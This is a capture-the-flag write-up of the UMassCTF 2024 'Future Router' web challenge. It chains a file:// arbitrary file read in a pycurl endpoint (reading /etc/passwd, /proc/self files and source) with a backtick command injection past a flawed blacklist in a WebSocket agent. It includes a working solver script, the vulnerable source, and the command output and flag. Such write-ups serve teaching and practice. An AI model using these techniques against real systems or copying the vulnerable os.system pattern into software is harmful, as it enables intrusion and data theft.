Preface
This weekend, I participated in UMassCTF 2024 with my team AdelaideB9 where we placed 41st out of 417 teams. The challenges were generally quite well made and my favourite challenge was a web challenge by the name of “Future Router”. This challenge involves chaining together an arbitrary file read vulnerability in a cURL utility to extract the application source code, then a command injection vulnerability on a WebSocket-based customer service agent to gain RCE on the server, which I found to be quite unique.
Challenge description
Mr. Krabs just got a brand new router in the mail for him to use in the Krusty Krab. There was no mailing address so he's tasked you with figuring out where the router is from and finding a flag!
Note: Please do not run brute forcing or directory busting tools on this challenge. It won't help you get a solve.
Arbitrary File Read in cURL endpoint
Upon visiting the site, we are able to access four pages: the index page at /
, the dashboard at /dash
, a cURL tool at /cURL
, and a customer service page at /customerservice
. We’ll focus on the /cURL
endpoint first. Depending on how the web application calls the cURL program and how user input is handled, a tool like this may introduce critical vulnerabilities such as command injection.
The page says we can only cURL devices on the network, so it’s unlikely we’ll be able to inject data remotely. We’ll use Burp Suite Proxy to intercept the request, then send it to Repeater to investigate further:
After trying many injection characters (e.g. ;
&&
|
) which came up with nothing, we tried different wrappers and came across the file://
wrapper:
By supplying file:///etc/passwd
as the URL, we were able to read the passwd
file on the server. This reveals a user of ID 1337 called sheldonjplankton
. Unfortunately, this user’s home folder does not exist and the flag is nowhere to be found.
We can use this technique to read a number of files, specifically pseudo-files in /proc/self
to get more information about the current process:
file:///proc/self/environ
:
OLDPWD=/\u0000PWD=/planktonsrouter1ba8b69e\u0000
file:///proc/self/cmdline
:
/usr/local/bin/python\u0000/usr/local/bin/gunicorn\u0000-w\u00004\u0000--bind\u00000.0.0.0:8000\u0000app:app\u0000
We now know that the server is being hosted by gunicorn
as app:app
and /planktonsrouter1ba8b69e
is possibly the path where the application files are stored. Using these pieces of information, we make an educated guess that the source code is likely located in /planktonsrouter1ba8b69e/app.py
:
file:///planktonsrouter1ba8b69e/app.py
:
from flask import Flask
from blueprints.routes import httpserver
app = Flask(__name__)
# This web server is the property of Sheldon J. Plankton,
# please refrain from reading this secret source code.
# I WILL USE THIS ROUTER TO STEAL THE SECRET KRABBY PATTY FORMULA!
app.register_blueprint(httpserver, url_prefix='/')
We were able to get the Python source of the application, which imports blueprints.routes
, so let’s read that file:
file:///planktonsrouter1ba8b69e/blueprints/routes.py
:
from flask import Flask, request, render_template, Blueprint,send_from_directory
from io import BytesIO
import pycurl
httpserver = Blueprint('httpserver', __name__)
#@httpserver.route("/docs",methods=["GET"])
#def docs():
# return """<!doctype html>
# <h1>Router Docs</h1>
#
# <h2>Websocket API</h2>
#
# <strong>TODO: Document how to talk to
# Karen's customer service module in ../karen/customerservice.py
# Also figure out how to use supervisord better.</strong>
#"""
#
# Securely CURL URLs, absolutely no bugs here!
@httpserver.route("/static/<path:path>")
def static(path):
return send_from_directory('static',path)
@httpserver.route("/cURL",methods=["GET","POST"])
def curl():
if(request.method == "GET"):
return render_template('curl.html')
elif(request.method == "POST"):
try:
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, request.json['URL'])
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
DATA = buffer.getvalue()
return {"success":DATA.decode('utf-8')}
except Exception as e:
return {"error":str(e.with_traceback(None))}
@httpserver.route("/customerservice",methods=["GET"])
def customerservice():
return render_template('customerservice.html')
NETWORK = [
{'hostname':'patricks-rock','ports':[{'service':'http','num':80}]},
{'hostname':'spongebobs-spatula','ports':[{'service':'http','num':80}]},
{'hostname':'squidwards-clarinet','ports':[{'service':'http','num':80}]},
]
@httpserver.route("/dash",methods=["GET"])
def dash():
return render_template('dashboard.html',network=NETWORK)
@httpserver.route("/")
def hello_world():
return render_template("index.html")
We’ve now got the source code for the application’s routes. There is a commented /docs
route which mentions that Karen’s customer service module is in ../karen/customerservice.py
, let’s get that file too:
file:///planktonsrouter1ba8b69e/karen/customerservice.py
import asyncio, os, re
from websockets.server import serve
# Due to security concerns, I, Sheldon J. Plankton have ensured this module
# has no access to any internet service other than those that are
# trusted. This agent will trick Krabs into sending me the secret
# krabby patty formula which I will log into Karen's secret krabby patty
# secret formula file! First, I have to fix a few security bugs!
class KarenCustomerServiceAgent:
SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
Dialogue = {
"Welcome":"Hello! Welcome to the Future Router service bot!",
"Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
"Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
}
def handle_input(self,message):
if ("hello" in message):
return self.Dialogue["Welcome"]
elif("krabby patty" in message):
filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
os.system(f'echo "{filtered_message}\n" >> /dev/null')
return self.Dialogue["Secret formula"]
elif("problem" in message):
return self.Dialogue["Problem"]
else:
return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!"
def xor_decrypt(self,ciphertext):
plaintext = ""
cipher_arr = bytearray(ciphertext)
for i in range(0,len(cipher_arr)):
plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
return plaintext
KarenAgent = KarenCustomerServiceAgent()
async def respond(websocket):
async for message in websocket:
data = KarenAgent.xor_decrypt(message.encode('latin-1'))
response = KarenAgent.handle_input(data)
await websocket.send(response)
async def main():
async with serve(respond, "0.0.0.0", 9000):
await asyncio.Future() # run forever
asyncio.run(main())
OS Command Injection in Customer Service WebSocket Agent
Reading the extracted source code and the JavaScript on the /customerservice
page, we learn the customer service module runs as a WebSocket server on ws://future-router.ctf.umasscybersec.org/app/
:
window.onload = () => {
const ws = new WebSocket(`ws:///${location.host}/app/`);
ws.onmessage = (resp) => {
response_field.innerText = resp.data;
};
agent_submit.onclick = () => {
ws.send(agent_text.value);
agent_text.value = '';
}
}
When the server receives a message, it will first try to decrypt the incoming messages by XOR’ing the input with a hardcoded SECRET_KEY
:
SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
Then, the server will return a template response depending on what the decrypted message starts with. Specifically, if the decrypted message starts with “krabby patty”, it’ll also first filter the message for blacklisted special characters, then echo the message into /dev/null
:
elif("krabby patty" in message):
filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
os.system(f'echo "{filtered_message}\n" >> /dev/null')
return self.Dialogue["Secret formula"]
Checking the blacklist, we notice that the list is incomplete and it is possible to inject additional OS commands into the os.system
line using command substitution characters (i.e. $(...)
or `...`
):
filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
This can lead to remote code execution on the server. For example, the following decrypted message will cause the whoami
command to be run:
krabby patty `whoami`
Additionally, because XOR is commutative, we can “encrypt” our forged messages by XOR’ing it with the SECRET_KEY
. Using the above information, we crafted a script to generate and send the WebSocket messages:
solver.py
:
#!/usr/bin/env python
import sys
import asyncio
from websockets.sync.client import connect
SERVER_ADDR = "ws://future-router.ctf.umasscybersec.org/app/"
SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
def xor_encrypt(plaintext):
ciphertext = ""
plain_arr = bytearray(plaintext)
for i in range(0,len(plain_arr)):
ciphertext += chr(plain_arr[i] ^ SECRET_KEY[i % len(SECRET_KEY)])
return ciphertext
def send_msg(address, msg):
with connect(SERVER_ADDR) as websocket:
websocket.send(msg)
message = websocket.recv()
print(f"Received: {message}")
if (len(sys.argv) != 2):
print("Usage: solver.py <command>")
exit()
cmd = sys.argv[1]
msg = xor_encrypt(f'krabby patty `{cmd}`'.encode())
send_msg(SERVER_ADDR, msg)
This script takes a single argument as the command to be executed on the server. We’ll test for command execution by executing id
and redirecting the output to a file in /tmp/pwned.txt
:
$ ./solver.py "id > /tmp/pwned.txt"
Received: Thank you for your input, we will process your request in 1-3 business days
We get the standard boilerplate response, let’s check if the file has been created by reading /tmp/pwned
:
uid=1337(sheldonjplankton) gid=1337(sheldonjplankton) groups=1337(sheldonjplankton)
We can confirm we have arbitrary code execution on the server! Now all that’s left is to find the flag:
$ ./solver.py "ls -la / > /tmp/pwned.txt"
file:///tmp/pwned.txt
:
total 68
drwxr-xr-x 18 nobody nogroup 4096 Apr 20 18:37 .
drwxr-xr-x 18 nobody nogroup 4096 Apr 20 18:37 ..
lrwxrwxrwx 1 nobody nogroup 7 Apr 8 00:00 bin -> usr/bin
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 21:20 boot
drwxr-xr-x 5 nobody nogroup 360 Apr 21 15:03 dev
-rwxr-xr-x 1 nobody nogroup 513 Apr 20 17:49 entrypoint.sh
drwxr-xr-x 32 nobody nogroup 4096 Apr 12 23:27 etc
-rw-r--r-- 1 nobody nogroup 46 Apr 12 23:27 flag53958e73c5ba4a66
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 21:20 home
lrwxrwxrwx 1 nobody nogroup 7 Apr 8 00:00 lib -> usr/lib
lrwxrwxrwx 1 nobody nogroup 9 Apr 8 00:00 lib64 -> usr/lib64
drwxr-xr-x 2 nobody nogroup 4096 Apr 8 00:00 media
drwxr-xr-x 2 nobody nogroup 4096 Apr 8 00:00 mnt
drwxr-xr-x 2 nobody nogroup 4096 Apr 8 00:00 opt
drwxr-xr-x 6 nobody nogroup 4096 Apr 20 17:50 planktonsrouter1ba8b69e
dr-xr-xr-x 3851 nobody nogroup 0 Apr 21 15:03 proc
drwx------ 3 nobody nogroup 4096 Apr 12 23:27 root
drwxr-xr-x 3 nobody nogroup 4096 Apr 8 00:00 run
lrwxrwxrwx 1 nobody nogroup 8 Apr 8 00:00 sbin -> usr/sbin
drwxr-xr-x 2 nobody nogroup 4096 Apr 8 00:00 srv
drwxr-xr-x 2 nobody nogroup 4096 Jan 28 21:20 sys
drwxrwxrwt 2 sheldonjplankton sheldonjplankton 80 Apr 21 17:06 tmp
drwxr-xr-x 12 nobody nogroup 4096 Apr 8 00:00 usr
drwxr-xr-x 11 nobody nogroup 4096 Apr 8 00:00 var
The flag is located in /flag53958e73c5ba4a66
, let’s read it:
file:///flag53958e73c5ba4a66
:
We get the flag: UMASS{W3lC0m3_t0_Th3_FuTur3_Kr4bS_c28e1089b2}
Resources
- websockets 12.0 documentation - https://websockets.readthedocs.io/en/stable/